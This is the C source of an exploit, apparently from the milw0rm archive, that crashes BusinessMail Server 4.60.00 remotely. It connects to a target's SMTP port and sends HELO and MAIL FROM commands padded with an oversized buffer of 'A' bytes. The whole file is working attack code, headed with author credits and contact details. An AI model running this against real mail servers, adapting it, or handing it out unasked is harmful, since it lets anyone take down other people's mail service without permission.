127 lines
No EOL
4.7 KiB
C
127 lines
No EOL
4.7 KiB
C
/*****************************************************************
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BusinessMail Server Remote Denial of Service Exploit by Kozan
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( Based on Reed Arvin's code in perl )
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Application: BusinessMail Server 4.60.00
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Vendor: www.netcplus.com
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Discovered by: Reed Arvin
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Exploit Coded by: Kozan
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Credits to ATmaCA, Reed Arvin
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Web: www.spyinstructors.com
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Mail: kozan@spyinstructors.com
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*****************************************************************/
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#include <winsock2.h>
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#include <windows.h>
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#include <stdio.h>
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#pragma comment(lib,"ws2_32.lib")
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char Buff[] =
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
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int main(int argc, char *argv[])
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{
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fprintf(stdout, "BusinessMail Server Remote Denial of Service Exploit by Kozan\n");
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fprintf(stdout, "Discovered by: Reed Arvin\n");
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fprintf(stdout, "Exploit Coded by: Kozan\n");
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fprintf(stdout, "Credits to ATmaCA, Reed Arvin\n\n");
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fprintf(stdout, "www.spyinstructors.com - kozan@spyinstructors.com\n");
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if(argc<2)
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{
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fprintf(stderr, "\n\nUsage: %s [Target IP]\n\n", argv[0]);
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return -1;
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}
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WSADATA wsaData;
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SOCKET sock;
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if( WSAStartup(0x0101,&wsaData) < 0 )
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{
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fprintf(stderr, "Winsock error!\n");
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return -1;
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}
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sock = socket(AF_INET,SOCK_STREAM,0);
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if( sock == -1 )
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{
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fprintf(stderr, "Socket error!\n");
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return -1;
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}
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struct sockaddr_in addr;
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addr.sin_family = AF_INET;
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addr.sin_port = htons(25);
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addr.sin_addr.s_addr = inet_addr(argv[1]);
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memset(&(addr.sin_zero), '\0', 8);
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fprintf(stdout, "Connecting to %s ...\n", argv[1]);
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if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 )
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{
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fprintf(stderr, "Connection failed!\n");
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closesocket(sock);
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return -1;
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}
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fprintf(stdout, "Connected.\n");
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char szBuf1[1024], szBuf2[1024];
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wsprintf(szBuf1, "HELO %s\r\n", Buff);
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wsprintf(szBuf2, "MAIL FROM:%s\r\n", Buff);
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fprintf(stdout, "Sending HELO ...\n");
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if( send(sock,szBuf1,strlen(szBuf1),0) == -1 )
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{
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fprintf(stderr, "HELO string could not sent!\n");
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closesocket(sock);
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return -1;
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}
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fprintf(stdout, "Sending MAIL FROM ...\n");
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if( send(sock,szBuf2,strlen(szBuf2),0) == -1 )
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{
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fprintf(stderr, "MAIL FROM string could not sent!\n");
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closesocket(sock);
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return -1;
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}
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fprintf(stdout, "Operation completed...\n");
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closesocket(sock);
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WSACleanup();
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return 0;
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}
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// milw0rm.com [2005-08-01]
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